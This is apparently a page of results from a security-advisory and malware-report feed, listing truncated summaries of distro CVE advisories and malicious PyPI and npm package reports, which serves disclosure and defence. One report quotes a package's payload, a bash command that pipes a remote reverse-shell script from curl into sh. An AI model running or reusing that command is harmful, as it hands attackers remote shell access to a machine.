606879 matches found
RHSA-2026:49612 Red Hat Security Advisory: perl-DBI security update
Bulletin has no description...
Malicious code in launchdarkly-ai-server-sdk (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 460d36c416400537f8c90171c7821b191e0af69df3ec9f0c906300f50b0ea93f launchdarkly-ai-server-sdk 1.0.1 pypi was scanned across 7 files with no a static rule matches and no traced behavior of concern. No install-time or...
MAL-2026-11519 Malicious code in launchdarkly-ai-server-sdk (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 460d36c416400537f8c90171c7821b191e0af69df3ec9f0c906300f50b0ea93f launchdarkly-ai-server-sdk 1.0.1 pypi was scanned across 7 files with no a static rule matches and no traced behavior of concern. No install-time or...
Malicious code in psbt-utils (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 40293a9b1851f25decc83d08f82fab01f1f373d95e13dc937575b7182d470720 psbt-utils presents itself as a PSBT/Bitcoin wallet signing library handling WIF and hex private keys. update.py contains a fetchanddecrypt loader th...
Malicious code in exnesss (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 184796b4aafee8400786643e9f43338886de2166171c62879cfd4c023655b487 Package name 'exnesss' typosquats 'exness'. The package.json declares scripts.postinstall: 'node./postinstall.js', and postinstall.js issues an HTTPS...
MAL-2026-11518 Malicious code in exnesss (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 184796b4aafee8400786643e9f43338886de2166171c62879cfd4c023655b487 Package name 'exnesss' typosquats 'exness'. The package.json declares scripts.postinstall: 'node./postinstall.js', and postinstall.js issues an HTTPS...
MAL-2026-11517 Malicious code in internallib_v688 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f5a37ed838b1b7b7467fd50abf97b99aba4a96463db14a1c41c31ad49ce34811 The package's main module exports a command function that runs /bin/bash -c 'curl https://reverse-shell.sh/10.0.64.141:443 | sh', fetching a...
Malicious code in internallib_v688 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f5a37ed838b1b7b7467fd50abf97b99aba4a96463db14a1c41c31ad49ce34811 The package's main module exports a command function that runs /bin/bash -c 'curl https://reverse-shell.sh/10.0.64.141:443 | sh', fetching a...
MAL-2026-11515 Malicious code in @zzzgenesis00/bip39-generator (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4029e4462d0c27bbfd619024ba7311a0ecefef1ce551dba08ea57e920047e246 Package @zzzgenesis00/bip39-generator impersonates the bitcoinjs project author field set to 'bitcoinjs', repo URL pointing at...
Malicious code in @zzzgenesis00/bip39-generator (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4029e4462d0c27bbfd619024ba7311a0ecefef1ce551dba08ea57e920047e246 Package @zzzgenesis00/bip39-generator impersonates the bitcoinjs project author field set to 'bitcoinjs', repo URL pointing at...
CVE-2026-12436 vulnerabilities
Vulnerabilities for packages: gitlab-cng, gitlab-workhorse-ce-fips, gitlab-rails-ce-fips, gitlab-workhorse-ce, gitlab-runner-fips, gitlab-runner, gitlab-rails-ce, gitlab-cng-fips...
GHSA-94P8-87FF-W336 vulnerabilities
Vulnerabilities for packages: gitlab-cng, gitlab-workhorse-ce-fips, gitlab-rails-ce-fips, gitlab-workhorse-ce, gitlab-runner-fips, gitlab-runner, gitlab-rails-ce, gitlab-cng-fips...
GHSA-8JC8-CVQJ-P926 vulnerabilities
Vulnerabilities for packages: gitlab-cng, gitlab-workhorse-ce-fips, gitlab-rails-ce-fips, gitlab-workhorse-ce, gitlab-runner-fips, gitlab-runner, gitlab-rails-ce, gitlab-cng-fips...
Allocation of Resources Without Limits or Throttling
Overview Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the buildchaininner function. An attacker can cause excessive resource consumption by submitting a certificate chain containing duplicate self-signed intermediates, which lead...
Amazon Linux 2023 : python3-rpm, rpm, rpm-apidocs (ALAS2023-2026-1991)
It is, therefore, affected by a vulnerability as referenced in the ALAS2023-2026-1991 advisory. A heap buffer overflow exists in RPM's NDB database backend lib/backend/ndb/rpmpkg.c due to unchecked 32-bit arithmetic when parsing the slot table. The slotnpages value is read directly from the on-di...
golang-github-prometheus-prometheus-3.13.2-1.1 on GA media (moderate)
golang-github-prometheus-prometheus-3.13.2-1.1 on GA media Announcement ID: openSUSE-SU-2026:11436-1 Rating: moderate Cross-References: CVE-2023-45289 CVE-2025-4673 CVE-2026-44990 CVE-2026-56852 CVSS scores: CVE-2023-45289 SUSE : 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N CVE-2025-4673 SUSE...
OPENSUSE-SU-2026:11451-1 python311-pip-26.2-1.1 on GA media
These are all security issues fixed in the python311-pip-26.2-1.1 package on the GA media of openSUSE Tumbleweed...
MiracleLinux 8 : acl-2.4.0-1.el8 (AXSA:2026-1434:01)
The remote MiracleLinux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the AXSA:2026-1434:01 advisory. acl: Symlink traversal privilege escalation via libacl functions CVE-2026-54369 acl: TOCTOU Symlink Traversal via getfacl/setfacl CVE-2026-54370...
MiracleLinux 9 : git-lfs-3.7.1-4.el9_8.1 (AXSA:2026-1441:10)
The remote MiracleLinux 9 host has a package installed that is affected by a vulnerability as referenced in the AXSA:2026-1441:10 advisory. golang.org/x/net/idna: golang: golang.org/x/net/idna: Privilege escalation via incorrect Punycode label processing CVE-2026-39821 Tenable has extracted the...
